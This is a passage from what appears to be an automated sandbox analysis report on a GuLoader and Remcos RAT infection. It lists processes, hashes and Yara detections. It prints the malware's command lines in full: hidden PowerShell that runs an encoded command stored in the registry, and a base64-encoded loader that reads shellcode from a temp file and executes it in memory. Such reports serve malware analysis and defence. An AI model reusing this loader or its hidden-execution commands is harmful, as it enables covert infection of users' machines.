8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaQBzAG0AbQAgAE8AcABkAHIAaQBmAHQAcwAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAaQBuAHQAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAGEAYQBuAGQAYgBvAGwAZABoADYAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADMAPQAwADsADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA4AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAwACwAWwByAGUAZgBdACQAUwBjAHIAaQBwAHQAZQByAGUAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAE8AYgBsAGkAZwBhAHQAIABPAHAAcwBrAHIAZQByAGYAcgBzACAARABlAHMAbwByADYAIABHAFIAVQBQAFAARQBNAEUARAAgAEwASQBWAFMASwBWAEEAIABzAHQAZQByAHMAcwB0ACAAQQBjAHQAaQBvAG4AYQByADYAIABBAG4AYQByAHQAaAByAG8AMQAgAFcAYQBtAHAAYQBuAG8AYQBnAG0ANwAgAFIAZQBnAG4AdgBlAGoAcgA3ACAAawBvAGUAYgB0AGYAdQByAHoAZQAgAEMAbwByAG4AbABlAHMAcwAzACAAQgByAHkAZwBoAHUAcwBlAGEAIABOAGkAZwBoAHQAaQBtAGUAIABiAGEAYQBsAHQAYQAgAGMAeQBjAGwAbwAgAFMAaQBuAGQAcwAzACAAUABMAEEARABFAEwAQQBHAEUAIABTAGsAaQBuAG4AZQBiAGUANgAgAFoAdwBlAGMAawBzAGMAbwBwADkAIAB0AGUAdQB0AG8AbgBpAHoAIABBAHMAcwBlAHMAcwBvAHIAZQAgAHIAZQBuAGEAcwAgAFYARQBBAEwAIABQAFIAUwBJAEQAIABCAG8AdgBiAGwAIABBAFMAWQBNACAATQBJAFIATwBTAEwASQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwBwAGkAbgAiACAADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwARwByAHUAbgBkAC4AZABhAHQAIgANAAoAIwBHAGUAbgBiAHIAdQBnAHMANwAgAHAAaAB5AHQAIABjAG8AcAByAGkAIABkAGUAbQBvAG4AcwB0AHIAYQAgAE0AZQB0AGgAeQBsAHAAIABTAG8AYwBpAGEAbAAxACAAcwB0AGEAbABsAGkAbgBnACAAZABvAGMAawB3ACAAdQBuAGIAZQAgAEIAYQBsAGwAYQBzACAAVgBhAG4AZAB1AGQAcwBrAGkAIABEAG8AbQBzACAAVgBlAGwAcwBlAHMAbwB2AGUAcgAgAHAAcgBvAGwAbwBjAHUAdABvAHIAIABUAEkARABTAEsAIABKAHUAcgBpAHMAdAAgAFQAaQBsAHMAaQBrAHIAZQB0AHIAIABzAHAAYQByAGsAZQBuAGUAbQBhACAAYgBlAHMAdAByAG4AaQBuAGcAIABTAFQAWQBSAEkATgBHAFMAQQAgAEIAbwBsAHQAZQBkAGUAIABCAE8ARABZAEcAIABEAEUAUwBVAEwAIABQAG8AcwB0AGEAdQByAGkAYwB1ACAAVAByAHkAawBuADQAIABJAE4ARABJAFYASQBEAFUAQQAgAFAASQBOAEMARQBUAFQAIAANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA0AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAUwBjAHIAaQBwAHQAZQByAGUAMgAsADIAMQA0ADcANAA4ADMANgA0ADgALAAxACwAMAAsADMALAAxADIAOAAsADAAKQANAAoAIwBTAHUAbQBwAHQAdQBvAHUAcwAgAE0ATwBEAEUAUgBFAFIARQBSACAARAByAHkAcwAgAEgAQQBMAFMAQgBSACAAbABlAGQAaQBnACAARgBsAGEAZwBlAHIAbQB1AHMAZQAgAEUARgBUAEUAUgAgAFMASwBKAE8AUgBUACAARgBsAGkAbgA5ACAAQgBlAG4AZQBmAGkAYwBlAG4AIABmAG8AcgBtACAARQBtAGIAcgBlAGEAYwBoAHMAdAAyACAAZAByAGUAagBuAGkAbgBnAHMAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHQAagByAGUAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADUAPQAwADsADQAKACMAbQBlAG4AcwB0AHIAdQBhAHQAZQAgAEEAZgBwAHIAdgBuAGkAbgBnAHMAMgAgAEwAdQBjAGkAbgBkADUAIABwAGUAdAByAGkAcwBhACAARwBlAG8AcABoAGEAZwBpAHMAIABQAGgAaQBsACAAQwB1AHQAdABsAGUANQAgAEEAawBrAG8AIABTAHQAYQBtADMAIABTAEwASQBCAEIARQBSAFMAQQBVACAAVgBlAHIAZABlAG4AcwA0ACAAUwBPAEwASQBEAEEAUgAgAEsAQQBSAFQAQQBVAEQASQBUAFIAIABNAE8AVQBSACAAYwBvAGMAawBzAHAAYQByACAAUwB0AGoAZQByAG4AZQBkADMAIABHAGUAbgBuAGUAbQA0ACAAYgBvAHIAdABrAGEAbABkACAAcwBkAGUAdABzAGkAbABrAGUAcwAgAHIAaQBnAG8AcgBpAHMAIABiAGEAbABkAHAAYQB0ACAASABWAEEATABGAEEATgBHACAAUwBhAHQAaQBuAGkAcwBlAHMAZwAgAGEAbgB0AGkAYwBsAGkAbQBhACAAbwB1AHQAcwB0AHIAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARAB1AGIAbABhAG4AdABzAGYAMwAiACAADQAKAFsAUwBjAHIAaQBwAHQAZQByAGUAMQBdADoAOgBSAGUAYQBkAEYAaQBsAGUAKAAkAFMAYwByAGkAcAB0AGUAcgBlADQALAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAyADYAMQAyADUALABbAHIAZQBmAF0AJABTAGMAcgBpAHAAdABlAHIAZQA1ACwAMAApAA0ACgAjAFAATwBVAEwAVABSAFkAIABBAHIAZQBuAHAAaABvAHQAbwBsADMAIABQAGEAcgBnACAAUgBlAGcAZQBsADUAIABMAGkAbgBpAHIAdQBuAGEAcwBoACAAVABvAHAAZgAzACAAZABpAGEAbABlAGsAdABpAGsAIABSAGUAcAByAG8AdgBhAGIAOAAgAEcAZQBhAHIAdgBsAGcAZQByAHMAIABVAEQARQBOAEUAVQBSAE8AUAAgAEMAQQBNAEIAVQBDAEEAUwBXACAAZgByAGEAZABtAG0AdABlAHcAZQAgAEYAYQByAHMAaQB1AG4AIABqAGUAcgBuAGIAYQBuAGUAbABpACAATABVAFYAUwBJAEcAQQBOAEcAIABBAGYAZABlAGwAaQBuACAAVABhAGIAZQBsAGwAZQAzACAAUAB1AHIAdgBpAGUAdwAzACAAUABsAGEAYwBlAGgAbwBsACAAYQByAHYAZQAgAFAAcgBpAGEAcAB1AGwAIABSAE8AUwBBAFUAUgAgAGQAaQBzAGMAIABTAFYAQQBSAEwAIABpAG4AZAB1AHMAIABTAE8AVQBCAEkAUwBFAFMAVAAgAHMAYwBoAG8AbwBsAHQAIABMAFIARQBSAEYATABVAEcAIABBAGcAcgBhAGYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEkAbQBiAGEAcgBrACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHIAZQBpAG0AcABsAGkAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAQQBmAG0AbgAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAE8ATgBEAE4AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARABpAHMAcgBpACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFcAYQB5AGIAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARwBBAFMAVABSAE8AQwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBMAGUAZABkAGUAbAA3ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbABkAHMAcABpAG4AMQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBPAEMAQwBMACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFUAbgBpAHYAZQByAHMAYQAyACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFMATwBFAEIATwBSACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAE0AeQBvAHMAaQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBCAHUAawBzAHMAdABhAGMAIgAgAA0ACgBbAFMAYwByAGkAcAB0AGUAcgBlADEAXQA6ADoAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA==
                            Imagebase:0x12c0000
                            File size:430592 bytes
                            MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:.Net C# or VB.NET
                            Yara matches:
                            • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000C.00000002.642638940.0000000009300000.00000040.00000001.sdmp, Author: Joe Security
                            Reputation:high

                            General

                            Start time:17:19:46
                            Start date:21/01/2022
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff7f20f0000
                            File size:625664 bytes
                            MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Reputation:high

                            General

                            Start time:17:20:13
                            Start date:21/01/2022
                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\tm43worv.cmdline
                            Imagebase:0x2c0000
                            File size:2170976 bytes
                            MD5 hash:350C52F71BDED7B99668585C15D70EEA
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:.Net C# or VB.NET
                            Reputation:moderate

                            General

                            Start time:17:20:15
                            Start date:21/01/2022
                            Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD568.tmp" "c:\Users\user\AppData\Local\Temp\CSCF0319BB5C3414E72AB519E7A67BBFBFC.TMP"
                            Imagebase:0xb90000
                            File size:43176 bytes
                            MD5 hash:C09985AE74F0882F208D75DE27770DFA
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Reputation:moderate

                            General

                            Start time:17:20:40
                            Start date:21/01/2022
                            Path:C:\Program Files (x86)\Internet Explorer\ieinstal.exe
                            Wow64 process (32bit):true
                            Commandline:C:\Program Files (x86)\internet explorer\ieinstal.exe
                            Imagebase:0x13a0000
                            File size:480256 bytes
                            MD5 hash:DAD17AB737E680C47C8A44CBB95EE67E
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Yara matches:
                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000014.00000002.852534659.000000000364B000.00000004.00000020.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000014.00000002.852416599.000000000361C000.00000004.00000020.sdmp, Author: Joe Security
                            • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000014.00000000.585462965.0000000000EF0000.00000040.00000001.sdmp, Author: Joe Security
                            Reputation:moderate

                            General

                            Start time:17:21:01
                            Start date:21/01/2022
                            Path:C:\Program Files\internet explorer\iexplore.exe
                            Wow64 process (32bit):false
                            Commandline:c:\program files\internet explorer\iexplore.exe
                            Imagebase:0x7ff74ad50000
                            File size:823560 bytes
                            MD5 hash:6465CB92B25A7BC1DF8E01D8AC5E7596
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Reputation:high

                            General

                            Start time:17:21:08
                            Start date:21/01/2022
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:"C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
                            Imagebase:0x7ff7d6ec0000
                            File size:273920 bytes
                            MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Reputation:high

                            General

                            Start time:17:21:09
                            Start date:21/01/2022
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff7f20f0000
                            File size:625664 bytes
                            MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language
                            Reputation:high

                            General

                            Start time:17:21:09
                            Start date:21/01/2022
                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            Wow64 process (32bit):true
                            Commandline:c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
                            Imagebase:0x12c0000
                            File size:430592 bytes
                            MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:.Net C# or VB.NET

                            General

                            Start time:17:21:17
                            Start date:21/01/2022
                            Path:C:\Windows\System32\cmd.exe
                            Wow64 process (32bit):false
                            Commandline:"C:\Windows\system32\cmd.exe" /c start /b c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
                            Imagebase:0x7ff7d6ec0000
                            File size:273920 bytes
                            MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language

                            General

                            Start time:17:21:17
                            Start date:21/01/2022
                            Path:C:\Windows\System32\conhost.exe
                            Wow64 process (32bit):false
                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                            Imagebase:0x7ff7f20f0000
                            File size:625664 bytes
                            MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:C, C++ or other language

                            General

                            Start time:17:21:17
                            Start date:21/01/2022
                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            Wow64 process (32bit):true
                            Commandline:c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $Retrocogni8=(Get-ItemProperty -Path 'HKCU:\SOFTWARE\AppDataLow\').Rickey;powershell.exe -windowstyle hidden -encodedcommand($Retrocogni8)
                            Imagebase:0x12c0000
                            File size:430592 bytes
                            MD5 hash:DBA3E6449E97D4E3DF64527EF7012A10
                            Has elevated privileges:false
                            Has administrator privileges:false
                            Programmed in:.Net C# or VB.NET

                            General

                            Start time:17:21:21
                            Start date:21/01/2022
                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            Wow64 process (32bit):true
                            Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -encodedcommand IwBhAGcAcgB5ACAAUwBjAHIAaQB2AGUAbgAgAHMAeQBzAHQAZQBtAGsAbwAgAFQAcgBlAGQAagBlADUAIABDAGgAcgBvAG0AaQA4ACAAQgBJAEIATAAgAE8AdgBlAHIAcwB0AHIAZQA3ACAAcAByAGUAYwAgAEYAbwByAGwAaQBnAHMAaQBuADIAIABCAGUAbgBlAGYAaQB0ACAAQQBwAG8AdABoAGUAbwBzAGkAegAgAHUAZABlAHQAaQBsACAATABPAE8AUwBFACAAQgByAG4AZQB2AGUAOQAgAFQAbwBuAHMAaQAyACAAVAByAG8AcABpAHMAIABQAGwAZQB1AHIAbwBsAGkANAAgAGIAbABrAGsAIABDAHkAcwB0AGkAYwBlACAAVQBuAGQAZQByAHIAZQBwAG8AcgAxACAAUAByAG8AYwB1AGwAYwBhAHQAIABQAEEAUwBUAE8AUgAgAFMAYQBuAGcAIABjAG8AbQBiAGEAcgBvAG4AZgBvACAAbwBtAHAAcgAgAEQAYQBtAG4AZQBkADgAIABOAEUAUABIACAARgByAHUAaQB0AGkAdgBlAHIAZQAgAEQARQBGAEEASQBUAEkAUwAgAE0AaQBzAGsAZQBuAGQAZQA1ACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGMAcgBpAHAAdABlAHIAZQAxAA0ACgB7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBuAHQAZABsAGwALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUANgAsAHIAZQBmACAASQBuAHQAMwAyACAAVABoAGUAbwByAGkAcwBlAHIAMgAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQAsAHIAZQBmACAASQBuAHQAMwAyACAAUwBjAHIAaQBwAHQAZQByAGUALABpAG4AdAAgAEwAZQBqAG4AaQA2ACwAaQBuAHQAIABTAGMAcgBpAHAAdABlAHIAZQA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBGAGkAbABlAEEAKABzAHQAcgBpAG4AZwAgAFAAcwBlAHUANAAsAHUAaQBuAHQAIABsAGkAbgBqAGUAcgAsAGkAbgB0ACAAUwBUAFIAWQAsAGkAbgB0ACAAUwBjAHIAaQBwAHQAZQByAGUAMAAsAGkAbgB0ACAAUwBFAEUAUgBOAEUALABpAG4AdAAgAFAAYQBjAGkAZgBpAGMAZQByADcALABpAG4AdAAgAEEAZAB2AGkAcwBlAG4AcwA5ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMAAsAHUAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADEALABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUAMgAsAHIAZQBmACAASQBuAHQAMwAyACAAQQBVAFQATwBBAEMAVABJAFYARQAzACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwBhAGwAbABXAGkAbgBkAG8AdwBQAHIAbwBjAFcAKABJAG4AdABQAHQAcgAgAEEAVQBUAE8AQQBDAFQASQBWAEUANQAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA2ACwAaQBuAHQAIABBAFUAVABPAEEAQwBUAEkAVgBFADcALABpAG4AdAAgAEEAVQBUAE8AQQBDAFQASQBWAEUAOAAsAGkAbgB0ACAAQQBVAFQATwBBAEMAVABJAFYARQA5ACkAOwANAAoAfQANAAoAIgBAAA0ACgAjAHIAZQBmAHIAIABDAGEAbgBjAGUAcgBpAG4AYwBvACAATABpAG4AZwB1AGEAdAB1AGwAIABoAGUAYQBsAGUAIABMAEUAVgBJAEcAQQBUACAATABJAEcASwBJAFMAVABFACAAcwB2AG8AdgBsACAAcABsAGEAdABvAG4AaQBzAG0AbQAgAE8AcABkAHIAaQBmAHQAcwAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAaQBuAHQAZQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBIAGEAYQBuAGQAYgBvAGwAZABoADYAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADMAPQAwADsADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAOQA9ADEAMAA0ADgANQA3ADYAOwANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA4AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AE4AdABBAGwAbABvAGMAYQB0AGUAVgBpAHIAdAB1AGEAbABNAGUAbQBvAHIAeQAoAC0AMQAsAFsAcgBlAGYAXQAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAwACwAWwByAGUAZgBdACQAUwBjAHIAaQBwAHQAZQByAGUAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAE8AYgBsAGkAZwBhAHQAIABPAHAAcwBrAHIAZQByAGYAcgBzACAARABlAHMAbwByADYAIABHAFIAVQBQAFAARQBNAEUARAAgAEwASQBWAFMASwBWAEEAIABzAHQAZQByAHMAcwB0ACAAQQBjAHQAaQBvAG4AYQByADYAIABBAG4AYQByAHQAaAByAG8AMQAgAFcAYQBtAHAAYQBuAG8AYQBnAG0ANwAgAFIAZQBnAG4AdgBlAGoAcgA3ACAAawBvAGUAYgB0AGYAdQByAHoAZQAgAEMAbwByAG4AbABlAHMAcwAzACAAQgByAHkAZwBoAHUAcwBlAGEAIABOAGkAZwBoAHQAaQBtAGUAIABiAGEAYQBsAHQAYQAgAGMAeQBjAGwAbwAgAFMAaQBuAGQAcwAzACAAUABMAEEARABFAEwAQQBHAEUAIABTAGsAaQBuAG4AZQBiAGUANgAgAFoAdwBlAGMAawBzAGMAbwBwADkAIAB0AGUAdQB0AG8AbgBpAHoAIABBAHMAcwBlAHMAcwBvAHIAZQAgAHIAZQBuAGEAcwAgAFYARQBBAEwAIABQAFIAUwBJAEQAIABCAG8AdgBiAGwAIABBAFMAWQBNACAATQBJAFIATwBTAEwASQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwBwAGkAbgAiACAADQAKACQAUwBjAHIAaQBwAHQAZQByAGUAMgA9ACIAJABlAG4AdgA6AHQAZQBtAHAAIgAgACsAIAAiAFwARwByAHUAbgBkAC4AZABhAHQAIgANAAoAIwBHAGUAbgBiAHIAdQBnAHMANwAgAHAAaAB5AHQAIABjAG8AcAByAGkAIABkAGUAbQBvAG4AcwB0AHIAYQAgAE0AZQB0AGgAeQBsAHAAIABTAG8AYwBpAGEAbAAxACAAcwB0AGEAbABsAGkAbgBnACAAZABvAGMAawB3ACAAdQBuAGIAZQAgAEIAYQBsAGwAYQBzACAAVgBhAG4AZAB1AGQAcwBrAGkAIABEAG8AbQBzACAAVgBlAGwAcwBlAHMAbwB2AGUAcgAgAHAAcgBvAGwAbwBjAHUAdABvAHIAIABUAEkARABTAEsAIABKAHUAcgBpAHMAdAAgAFQAaQBsAHMAaQBrAHIAZQB0AHIAIABzAHAAYQByAGsAZQBuAGUAbQBhACAAYgBlAHMAdAByAG4AaQBuAGcAIABTAFQAWQBSAEkATgBHAFMAQQAgAEIAbwBsAHQAZQBkAGUAIABCAE8ARABZAEcAIABEAEUAUwBVAEwAIABQAG8AcwB0AGEAdQByAGkAYwB1ACAAVAByAHkAawBuADQAIABJAE4ARABJAFYASQBEAFUAQQAgAFAASQBOAEMARQBUAFQAIAANAAoAJABTAGMAcgBpAHAAdABlAHIAZQA0AD0AWwBTAGMAcgBpAHAAdABlAHIAZQAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAUwBjAHIAaQBwAHQAZQByAGUAMgAsADIAMQA0ADcANAA4ADMANgA0ADgALAAxACwAMAAsADMALAAxADIAOAAsADAAKQANAAoAIwBTAHUAbQBwAHQAdQBvAHUAcwAgAE0ATwBEAEUAUgBFAFIARQBSACAARAByAHkAcwAgAEgAQQBMAFMAQgBSACAAbABlAGQAaQBnACAARgBsAGEAZwBlAHIAbQB1AHMAZQAgAEUARgBUAEUAUgAgAFMASwBKAE8AUgBUACAARgBsAGkAbgA5ACAAQgBlAG4AZQBmAGkAYwBlAG4AIABmAG8AcgBtACAARQBtAGIAcgBlAGEAYwBoAHMAdAAyACAAZAByAGUAagBuAGkAbgBnAHMAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHQAagByAGUAIgAgAA0ACgAkAFMAYwByAGkAcAB0AGUAcgBlADUAPQAwADsADQAKACMAbQBlAG4AcwB0AHIAdQBhAHQAZQAgAEEAZgBwAHIAdgBuAGkAbgBnAHMAMgAgAEwAdQBjAGkAbgBkADUAIABwAGUAdAByAGkAcwBhACAARwBlAG8AcABoAGEAZwBpAHMAIABQAGgAaQBsACAAQwB1AHQAdABsAGUANQAgAEEAawBrAG8AIABTAHQAYQBtADMAIABTAEwASQBCAEIARQBSAFMAQQBVACAAVgBlAHIAZABlAG4AcwA0ACAAUwBPAEwASQBEAEEAUgAgAEsAQQBSAFQAQQBVAEQASQBUAFIAIABNAE8AVQBSACAAYwBvAGMAawBzAHAAYQByACAAUwB0AGoAZQByAG4AZQBkADMAIABHAGUAbgBuAGUAbQA0ACAAYgBvAHIAdABrAGEAbABkACAAcwBkAGUAdABzAGkAbABrAGUAcwAgAHIAaQBnAG8AcgBpAHMAIABiAGEAbABkAHAAYQB0ACAASABWAEEATABGAEEATgBHACAAUwBhAHQAaQBuAGkAcwBlAHMAZwAgAGEAbgB0AGkAYwBsAGkAbQBhACAAbwB1AHQAcwB0AHIAaQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARAB1AGIAbABhAG4AdABzAGYAMwAiACAADQAKAFsAUwBjAHIAaQBwAHQAZQByAGUAMQBdADoAOgBSAGUAYQBkAEYAaQBsAGUAKAAkAFMAYwByAGkAcAB0AGUAcgBlADQALAAkAFMAYwByAGkAcAB0AGUAcgBlADMALAAyADYAMQAyADUALABbAHIAZQBmAF0AJABTAGMAcgBpAHAAdABlAHIAZQA1ACwAMAApAA0ACgAjAFAATwBVAEwAVABSAFkAIABBAHIAZQBuAHAAaABvAHQAbwBsADMAIABQAGEAcgBnACAAUgBlAGcAZQBsADUAIABMAGkAbgBpAHIAdQBuAGEAcwBoACAAVABvAHAAZgAzACAAZABpAGEAbABlAGsAdABpAGsAIABSAGUAcAByAG8AdgBhAGIAOAAgAEcAZQBhAHIAdgBsAGcAZQByAHMAIABVAEQARQBOAEUAVQBSAE8AUAAgAEMAQQBNAEIAVQBDAEEAUwBXACAAZgByAGEAZABtAG0AdABlAHcAZQAgAEYAYQByAHMAaQB1AG4AIABqAGUAcgBuAGIAYQBuAGUAbABpACAATABVAFYAUwBJAEcAQQBOAEcAIABBAGYAZABlAGwAaQBuACAAVABhAGIAZQBsAGwAZQAzACAAUAB1AHIAdgBpAGUAdwAzACAAUABsAGEAYwBlAGgAbwBsACAAYQByAHYAZQAgAFAAcgBpAGEAcAB1AGwAIABSAE8AUwBBAFUAUgAgAGQAaQBzAGMAIABTAFYAQQBSAEwAIABpAG4AZAB1AHMAIABTAE8AVQBCAEkAUwBFAFMAVAAgAHMAYwBoAG8AbwBsAHQAIABMAFIARQBSAEYATABVAEcAIABBAGcAcgBhAGYAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEkAbQBiAGEAcgBrACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGg